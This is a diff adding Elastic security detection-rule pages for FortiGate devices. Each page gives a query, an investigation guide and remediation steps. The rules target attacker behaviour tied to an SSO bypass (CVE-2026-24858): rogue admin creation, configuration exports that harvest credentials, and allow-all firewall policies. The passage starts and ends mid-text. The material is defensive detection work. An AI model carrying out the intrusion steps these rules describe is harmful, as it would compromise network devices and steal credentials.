or + "RealVNC" or + "RealVNC Limited" or + "REMOTE UTILITIES PTE. LTD." or + "Remote Utilities LLC" or + "Rocket Software, Inc." or + "Rsupport Co., Ltd." or + "SAFIB" or + "ScreenConnect Client" or + "Servably, Inc." or + "Servably Inc." or + "ShowMyPC INC" or + "SimpleHelp Ltd" or + "Splashtop Inc." or + "Superops Inc." or + "Tailscale Inc." or + "TeamViewer" or + "TeamViewer GmbH" or + "TeamViewer Germany GmbH" or + "Techinline Limited" or + "uvnc bvba" or + "Yakhnovets Denis Aleksandrovich IP" or + "Zhou Huabing" or + "ZOHO Corporation Private Limited" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Sub-technique: +** Name: Remote Desktop Software +** ID: T1219.002 +** Reference URL: https://attack.mitre.org/techniques/T1219/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-administrator-account-creation-from-unusual-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-administrator-account-creation-from-unusual-source.asciidoc new file mode 100644 index 0000000000..6113c972ea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-administrator-account-creation-from-unusual-source.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-34-fortigate-administrator-account-creation-from-unusual-source]] +=== FortiGate Administrator Account Creation from Unusual Source + +This rule detects FortiGate administrator account creation from a source IP address not previously seen performing admin operations on the device. Threat actors exploiting CVE-2026-24858 (FG-IR-26-060) authenticate via FortiCloud SSO bypass and immediately create local administrator accounts for persistence, typically from infrastructure not associated with normal administrative activity. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-fortinet_fortigate.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fortiguard.com/psirt/FG-IR-26-060 +* https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Domain: Network +* Domain: Identity +* Data Source: Fortinet +* Data Source: Fortinet FortiGate +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: New Terms +* Vuln: CVE-2026-24858 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate Administrator Account Creation from Unusual Source* + + +This alert indicates that an administrator account was created on a FortiGate device from a source IP address that has not been observed performing configuration changes in the recent history window. This is a behavioral indicator of compromise, as threat actors exploiting SSO bypass vulnerabilities typically operate from infrastructure not previously associated with the device. + + +*Possible investigation steps* + + +- Review `source.ip` to determine whether the IP address belongs to a known management network or authorized administrator location. Check against known threat infrastructure from The Constant Company LLC, BL Networks, and Kaopu Cloud HK Limited. +- Examine `fortinet.firewall.cfgobj` for the name of the newly created account and `fortinet.firewall.cfgattr` for the access profile assigned (especially super_admin). +- Check `source.user.name` to identify the account that performed the creation and verify whether it was recently created itself or accessed via SSO. +- Look for other configuration changes from the same source IP, including firewall policy modifications, configuration exports, or VPN user creation. +- Run `get system admin` on the affected FortiGate to list all current administrator accounts and compare against the authorized list. + + +*False positive analysis* + + +- Authorized administrators connecting from a new location (VPN, travel, new office). +- Initial device setup or migration where configuration changes come from temporary infrastructure. +- Managed service providers performing authorized administration from rotating IP addresses. + + +*Response and remediation* + + +- If unauthorized, immediately delete the newly created administrator account and audit the source account for compromise. +- Block the source IP at the perimeter and check other FortiGate devices for activity from the same IP. +- Restore configuration from a known-clean backup and rotate all credentials including LDAP/AD accounts connected to the device. +- Upgrade FortiOS to a patched version and disable FortiCloud SSO if not required. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "fortinet_fortigate.log" and + event.code: "0100044547" and + fortinet.firewall.cfgpath: "system.admin" and + fortinet.firewall.action: "Add" and + fortinet.firewall.ui: (* and not "") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-administrator-login-from-multiple-ip-addresses.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-administrator-login-from-multiple-ip-addresses.asciidoc new file mode 100644 index 0000000000..a1cb3ec876 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-administrator-login-from-multiple-ip-addresses.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-fortigate-administrator-login-from-multiple-ip-addresses]] +=== FortiGate Administrator Login from Multiple IP Addresses + +This rule detects successful logins to the FortiGate management interface using the same Administrator account from multiple distinct source IP addresses within an 24-hour period. Administrator logins from multiple locations in a short time window may indicate credential sharing, compromised credentials, or unauthorized access and should be investigated. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-24h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Domain: Network +* Domain: Identity +* Data Source: Fortinet +* Data Source: Fortinet FortiGate +* Noise: Medium +* Performance: Normal +* Rule Type: ES|QL + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*## Triage and Analysis* + + + +*Investigating FortiGate Administrator Login from Multiple IP Addresses* + + +This alert indicates that the same **Administrator** account successfully logged in to the FortiGate management interface from **multiple distinct source IP addresses** within an 24-hour period. + +Because FortiGate administrator credentials grant full control over network security infrastructure, this behavior may indicate credential compromise, account sharing, or misuse of administrative access. + + +*Investigation Steps* + + +- **Review the affected account** + - Identify the administrator account in `source.user.name`. + - Confirm whether the account is shared, personal, or service-related. + - Validate whether concurrent or near-concurrent access is expected. + +- **Analyze source IP addresses** + - Review the list of `source.ip` values associated with the logins. + - Determine whether the IPs belong to trusted management networks, VPN pools, or jump hosts. + - Investigate geolocation differences using `source.geo.country_name`. + +- **Assess timing and session behavior** + - Check whether logins occurred close together in time or overlapped. + - Identify whether access patterns suggest session hopping or credential reuse. + +- **Review post-authentication activity** + - Examine FortiGate logs for configuration changes, policy updates, or administrative actions following the logins. + - Look for additional authentication attempts (successful or failed) from the same IPs or user. + +- **Correlate with environment context** + - Verify maintenance windows, incident response activity, or operational tasks that could explain the behavior. + - Confirm whether administrators commonly access FortiGate via multiple networks or devices. + + +*False Positive Considerations* + + +- Administrators connecting through VPNs with dynamic or rotating IP addresses. +- Access via bastion hosts, load-balanced management interfaces, or cloud-based management tools. +- Automation or orchestration systems using shared administrator credentials. +- Incident response or troubleshooting activity involving multiple access points. + + +*Response and Remediation* + + +- **If the activity is expected** + - Document the behavior and consider tuning the rule or adding exceptions for known IP ranges or accounts. + - Encourage use of named accounts and centralized access paths. + +- **If the activity is suspicious** + - Reset or rotate credentials for the affected administrator account. + - Review FortiGate configuration changes made during the session(s). + - Restrict administrative access to trusted IP ranges. + - Enforce MFA for administrative logins if not already enabled. + - Monitor for additional signs of lateral movement or persistence. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-fortinet_fortigate.*, filebeat-* metadata _id + +| WHERE data_stream.dataset == "fortinet_fortigate.log" and + event.category == "authentication" and event.action == "login" and + event.outcome == "success" and source.user.roles == "Administrator" and + source.user.name is not null and source.ip is not null +| stats Esql.logon_count = count(*), + Esql.source_ip_count_distinct = COUNT_DISTINCT(source.ip), + Esql.max_timestamp = MAX(@timestamp), + Esql.source_ip_values = VALUES(source.ip), + Esql.message_values = VALUES(message), + Esql.source_geo_country_name_values = VALUES(source.geo.country_name) by source.user.name + +// last logon event timestamp is within 6m of the rule execution time to avoid duplicates +| eval Esql.recent = DATE_DIFF("minute", Esql.max_timestamp, now()) +| where Esql.recent <= 6 and Esql.logon_count >= 2 and Esql.source_ip_count_distinct >= 2 + +// move dynamic fields to ECS equivalent for rule exceptions +| eval source.ip = MV_FIRST(Esql.source_ip_values) + +| keep source.ip, source.user.name, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-configuration-file-downloaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-configuration-file-downloaded.asciidoc new file mode 100644 index 0000000000..66f2120ec9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-configuration-file-downloaded.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-fortigate-configuration-file-downloaded]] +=== FortiGate Configuration File Downloaded + +This rule detects the download of a FortiGate device configuration file. Configuration exports contain sensitive data including administrator password hashes, LDAP bind credentials, VPN pre-shared keys, routing tables, and firewall policies. Threat actors exploiting CVE-2026-24858 have been observed exporting the full device configuration immediately after gaining access to harvest credentials and map the internal network. + +*Rule type*: eql + +*Rule indices*: + +* logs-fortinet_fortigate.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fortiguard.com/psirt/FG-IR-26-060 +* https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Credential Access +* Resources: Investigation Guide +* Domain: Network +* Data Source: Fortinet +* Data Source: Fortinet FortiGate +* Noise: Medium +* Performance: Fast +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Vuln: CVE-2026-24858 + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate Configuration File Downloaded* + + +This alert indicates that a FortiGate device configuration file was downloaded. Configuration files contain highly sensitive information including administrator credentials, LDAP/RADIUS secrets, VPN pre-shared keys, certificate private keys, and the complete network topology. + +In the FG-IR-26-060 campaign, threat actors exported the full device configuration shortly after creating rogue administrator accounts, using the harvested credentials for lateral movement and to maintain access through alternative channels. + + +*Possible investigation steps* + + +- Review `source.user.name` to determine which account initiated the download and `fortinet.firewall.ui` for the source interface and IP address (e.g., GUI, CLI, or API). Verify whether this administrator is authorized to export device configurations. +- Check whether a scheduled backup process or configuration management tool performed this action. Look for preceding SSO login events or administrator account creation events on the same device and determine whether the downloading account was recently created. +- Check `observer.name` to identify which device had its configuration exported and search for configuration download events across other FortiGate devices in the fleet. +- Check for firewall policy changes, VPN configuration modifications, or additional admin account creation after the download. Determine whether any credentials from the configuration have been used for lateral movement. + + +*False positive analysis* + + +- Scheduled configuration backups performed by FortiManager, Ansible, or other automation tools. +- Administrator-initiated backups during planned maintenance or before firmware upgrades. +- Configuration audits or compliance checks that require config export. + + +*Response and remediation* + + +- If unauthorized, treat all credentials in the configuration as compromised. Rotate all passwords, pre-shared keys, LDAP bind credentials, and RADIUS secrets contained in the configuration. +- Revoke and reissue any certificates whose private keys were included in the export. +- Audit the administrator account that performed the download for compromise and check for other indicators of compromise on the device (rogue admins, policy changes). +- If the activity is expected, document the backup activity and verify it was performed through an authorized process. Ensure configuration backups are stored securely with appropriate access controls. + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "fortinet_fortigate.log" and + event.code == "0100032095" and + fortinet.firewall.action == "download" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Configuration Repository +** ID: T1602 +** Reference URL: https://attack.mitre.org/techniques/T1602/ +* Sub-technique: +** Name: Network Device Configuration Dump +** ID: T1602.002 +** Reference URL: https://attack.mitre.org/techniques/T1602/002/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-forticloud-sso-login-from-unusual-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-forticloud-sso-login-from-unusual-source.asciidoc new file mode 100644 index 0000000000..3770b44796 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-forticloud-sso-login-from-unusual-source.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-34-fortigate-forticloud-sso-login-from-unusual-source]] +=== FortiGate FortiCloud SSO Login from Unusual Source + +This rule detects the first successful FortiCloud SSO login from a previously unseen source IP address to a FortiGate device within the last 5 days. FortiCloud SSO logins from new source IPs may indicate exploitation of SAML-based authentication bypass vulnerabilities such as CVE-2026-24858, where crafted SAML assertions allow unauthorized access to FortiGate devices registered to other accounts. Environments that regularly use FortiCloud SSO will only alert on new source IPs not seen in the lookback window. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-7205m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fortiguard.com/psirt/FG-IR-26-060 +* https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide +* Domain: Network +* Domain: Identity +* Data Source: Fortinet +* Data Source: Fortinet FortiGate +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: ES|QL +* Vuln: CVE-2026-24858 + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate FortiCloud SSO Login from Unusual Source* + + +This alert indicates that a FortiCloud SSO login was observed from a source IP address not previously seen authenticating via SSO in the last 5 days. This is a high-value signal because it filters out routine SSO access from known management IPs and only fires on novel source addresses. + +CVE-2026-24858 (FG-IR-26-060) allows attackers with a FortiCloud account and a registered device to craft SAML assertions that authenticate them as administrators on other FortiGate devices when FortiCloud SSO is enabled. This vulnerability has been actively exploited in the wild. + + +*Possible investigation steps* + + +- Check `source.ip` against known corporate management networks, VPN egress points, and jump hosts. Investigate the IP's ASN and geolocation, as attacker IPs have been observed from The Constant Company LLC, BL Networks, Kaopu Cloud HK Limited, and Cloudflare-protected ranges. +- Determine whether this IP has been seen in any other authentication context across the environment. +- Check `Esql.user_values` for the SSO account name (typically an email address) and verify the account belongs to the organization. Compare against known attacker email IOCs: cloud-noc@mail.io, cloud-init@mail.io, heltaylor.12@tutamail.com, support@openmail.pro. +- Check `Esql.observer_name_values` to identify which FortiGate device was accessed and confirm whether FortiCloud SSO is intentionally enabled on the device. +- Look for local administrator account creation, configuration exports, firewall policy changes, or VPN user/group creation immediately following the SSO login. The observed attack pattern involves rogue admin creation within seconds of login. + + +*False positive analysis* + + +- Administrators connecting from a new office location, hotel, or home network for the first time may trigger this alert. +- FortiCloud SSO access after IP address changes such as ISP rotation or VPN egress changes can appear as a new source IP. +- First login after FortiCloud SSO is initially enabled on a device will fire since no historical SSO logins exist. + + +*Response and remediation* + + +- If the activity is unauthorized, disable FortiCloud SSO immediately using `config system global` > `set admin-forticloud-sso-login disable`. +- Audit all administrator accounts for unauthorized additions and review and restore configuration from a known-clean backup. +- Rotate all credentials including any LDAP/AD accounts connected to the device. +- Upgrade FortiOS to a patched version. +- If the activity is expected, document the new source IP and consider adding an exception if it represents a new management location. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-fortinet_fortigate.* metadata _id, _version, _index + +| WHERE data_stream.dataset == "fortinet_fortigate.log" and + event.category == "authentication" and event.action == "login" and + event.outcome == "success" and + (fortinet.firewall.method == "sso" or fortinet.firewall.ui like "sso*") and + source.ip is not null +| STATS Esql.logon_count = COUNT(*), + Esql.first_time_seen = MIN(@timestamp), + Esql.user_values = VALUES(source.user.name), + Esql.observer_name_values = VALUES(observer.name), + Esql.message_values = VALUES(message) BY source.ip + +// first time seen is within 6m of the rule execution time and for the last 5d of events history +| EVAL Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now()) +| WHERE Esql.recent <= 6 AND Esql.logon_count == 1 + +// move dynamic fields to ECS equivalent for rule exceptions +| EVAL source.user.name = MV_FIRST(Esql.user_values) + +| KEEP source.ip, source.user.name, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forge Web Credentials +** ID: T1606 +** Reference URL: https://attack.mitre.org/techniques/T1606/ +* Sub-technique: +** Name: SAML Tokens +** ID: T1606.002 +** Reference URL: https://attack.mitre.org/techniques/T1606/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-overly-permissive-firewall-policy-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-overly-permissive-firewall-policy-created.asciidoc new file mode 100644 index 0000000000..64a0540834 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-overly-permissive-firewall-policy-created.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-34-fortigate-overly-permissive-firewall-policy-created]] +=== FortiGate Overly Permissive Firewall Policy Created + +This rule detects the creation or modification of a FortiGate firewall policy that permits all sources, all destinations, and all services. An overly permissive policy effectively bypasses all firewall protections. Threat actors exploiting CVE-2026-24858 have been observed creating such policies to allow unrestricted traffic flow through compromised FortiGate devices. + +*Rule type*: eql + +*Rule indices*: + +* logs-fortinet_fortigate.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fortiguard.com/psirt/FG-IR-26-060 +* https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Domain: Network +* Data Source: Fortinet +* Data Source: Fortinet FortiGate +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Vuln: CVE-2026-24858 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate Overly Permissive Firewall Policy Created* + + +This alert indicates that a firewall policy was created or modified on a FortiGate device with source address `all`, destination address `all`, and service `ALL`. This configuration effectively disables firewall enforcement for traffic matching the policy. + +In the FG-IR-26-060 campaign, threat actors created these permissive policies to ensure their traffic could traverse the firewall without restriction. + + +*Possible investigation steps* + + +- Review `source.user.name` to determine which account created or modified the policy and `fortinet.firewall.ui` for the source interface and IP address. Verify whether this administrator is authorized to make firewall policy changes. +- Examine `fortinet.firewall.cfgattr` for the full policy configuration including interfaces, NAT settings, and scheduling. Check `fortinet.firewall.cfgobj` for the affected policy ID and determine whether the policy is positioned to intercept traffic (policy ordering matters). +- Look for administrator account creation, SSO login events, or configuration exports preceding this change. Determine whether the administrator account itself was recently created. +- Identify which interfaces the policy applies to (srcintf/dstintf in cfgattr) and determine whether the policy enables inbound, outbound, or both directions of unrestricted traffic. + + +*False positive analysis* + + +- Temporary troubleshooting policies created during network diagnostics (should be time-limited and removed). +- Initial device setup or lab environments where broad policies are intentionally configured. +- Migration or cutover scenarios where temporary permissive rules are needed. + + +*Response and remediation* + + +- If unauthorized, immediately delete the permissive firewall policy and audit the administrator account that created it for compromise. +- Review all other firewall policies for unauthorized modifications and check for other indicators of compromise on the device (rogue admins, VPN users). +- Restore the policy configuration from a known-clean backup. +- If the activity is expected, document the business justification and ensure a removal timeline is defined. Replace with specific source/destination/service rules as soon as possible. + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "fortinet_fortigate.log" and + event.code == "0100044547" and + fortinet.firewall.cfgpath == "firewall.policy" and + fortinet.firewall.action in ("Add", "Edit") and + fortinet.firewall.cfgattr like~ "*srcaddr[all]*" and + fortinet.firewall.cfgattr like~ "*dstaddr[all]*" and + fortinet.firewall.cfgattr like~ "*service[all]*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify System Firewall +** ID: T1562.004 +** Reference URL: https://attack.mitre.org/techniques/T1562/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-socks-traffic-from-an-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-socks-traffic-from-an-unusual-process.asciidoc new file mode 100644 index 0000000000..deaf731732 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-socks-traffic-from-an-unusual-process.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-34-fortigate-socks-traffic-from-an-unusual-process]] +=== FortiGate SOCKS Traffic from an Unusual Process + +This detection correlates FortiGate's application control SOCKS events with Elastic Defend network event to identify the source process performing SOCKS traffic. Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-fortinet_fortigate.log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1090/ +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.elastic.co/docs/reference/integrations/endpoint + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Fortinet +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Domain: Network + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate SOCKS Traffic from an Unusual Process* + + + +*Possible investigation steps* + + +- Review the process details like command_line, privileges, global relevance and reputation. +- Review the parent process execution details like command_line, global relevance and reputation. +- Examine all network connection details performed by the process during last 48h. +- Examine all localhost network connections performed by the same process to verify if there is any port forwarding with another process on the same machine. +- Correlate the alert with other security events or logs to identify any patterns or additional indicators of compromise related to the same process or network activity. + + +*False positive analysis* + + +- Browser proxy extensions and Add-ons. +- Development and deployment tools. +- Third party trusted tools using SOCKS for network communication. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate the suspicious processes and all associated children and parents. +- Conduct a thorough review of the system's configuration files to identify unauthorized changes. +- Reset credentials for any accounts associated with the source machine. +- Implement network-level controls to block traffic via SOCKS unless authorized. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by source.port, source.ip, destination.ip with maxspan=1m + [network where data_stream.dataset == "fortinet_fortigate.log" and event.action == "signature" and network.application in ("SOCKS4", "SOCKS5")] + [network where event.module == "endpoint" and event.action in ("disconnect_received", "connection_attempted")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-ssl-vpn-login-followed-by-siem-alert-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-ssl-vpn-login-followed-by-siem-alert-by-user.asciidoc new file mode 100644 index 0000000000..da77821a25 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-fortigate-ssl-vpn-login-followed-by-siem-alert-by-user.asciidoc @@ -0,0 +1,109 @@ +[[prebuilt-rule-8-19-34-fortigate-ssl-vpn-login-followed-by-siem-alert-by-user]] +=== FortiGate SSL VPN Login Followed by SIEM Alert by User + +Detects when a FortiGate SSL VPN login event is followed by any SIEM detection alert for the same user name within a short time window. This correlation can indicate abuse of VPN access for malicious activity, credential compromise used from a VPN session, or initial access via VPN followed by post-compromise behavior. + +*Rule type*: eql + +*Rule indices*: + +* logs-fortinet_fortigate.log-* +* .alerts-security.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/tactics/TA0001/ +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Tactic: Initial Access +* Data Source: Fortinet +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Domain: Network + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate SSL VPN Login Followed by SIEM Alert by User* + + +This rule correlates a FortiGate SSL VPN login with a subsequent security alert for the same user name, highlighting possible abuse of VPN access or activity shortly after remote access. + + +*Possible investigation steps* + + +- Review the FortiGate login event (source IP, user, time) and the SIEM alert(s) that followed for the same user. +- Determine whether the user is expected to use VPN and whether the subsequent alert is related to legitimate work (e.g. admin tools, updates). +- Check for other alerts or logins for the same user in the same time window to assess scope. +- Correlate with authentication logs to identify impossible travel or credential reuse from the VPN session. + + +*False positive analysis* + + +- Legitimate VPN users triggering detections (e.g. scripted tasks, admin tooling) after login. +- Security scans or automated jobs that run in the context of a VPN-authenticated user. + + +*Response and remediation* + + +- If abuse or compromise is suspected, disable or reset the user’s VPN access and credentials. +- Investigate the host and process associated with the SIEM alert. +- 